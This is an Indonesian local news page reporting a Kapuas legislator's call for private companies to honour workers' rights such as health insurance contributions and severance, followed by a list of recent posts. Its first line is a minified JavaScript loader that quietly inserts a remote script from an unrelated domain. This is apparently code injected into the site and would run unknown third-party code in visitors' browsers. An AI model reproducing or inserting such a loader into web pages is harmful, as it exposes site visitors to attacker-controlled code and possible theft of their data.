(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

PBS Harus Taati Regulasi Hak dan Kewajiban untuk Pekerja


KANALKALIMANTAN. COM, KUALA KAPUAS – Wakil Ketua Komisi II DPRD Kabupaten Kapuas Darwandie menekankan Perusahaan Besar Swasta (PBS) yang beroperasi di Kabupaten Kapuas harus mentaati regulasi atau peraturan terkait hak dan kewajiban pekerja atau buruh.

“Kami tekankan bahwa PBS harus mentaati peraturan perundang-undangan yang berlaku. Dan dalam mengayomi buruh itu sebagai mitra bukan sebagai lawan,” kata Darwandie, Rabu (3/5/2023) siang.

Karena, lanjut wakil rakyat dari Dapil II Kapuas bahwa selama ini ada informasi yang disampaikan kepada pihaknya beberapa perusahaan yang masih tidak taat dengan peraturan dan perundang-undangan yang berlaku, sehingga yang jadi korban adalah para buruh.

Baca juga: Terapkan Aplikasi E-Kinerja BKN, Sekda HSU: Semuanya akan Berbasis Elektronik

“Salah satu contoh tidak disetornya iuran BPJS kesehatan bagi para buruh, sehingga para buruh tidak mendapatkan jaminan kesehatan ketika sakit,” ucapnya.

Lalu, saat berhenti atau diberhentikan tidak diberikan pesangon yang layak atau bahkan sama sekali tidak disalurkan hak-haknya sebagai buruh yang mengakhiri masa kerja.

“Kita melihat dari sisi perundang undangan yang namanya uang pesangon, dana pensiun itu harus tetap diberikan,” jelasnya. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Al Ghifari

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

1 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

2 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

4 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

5 jam ago

This website uses cookies.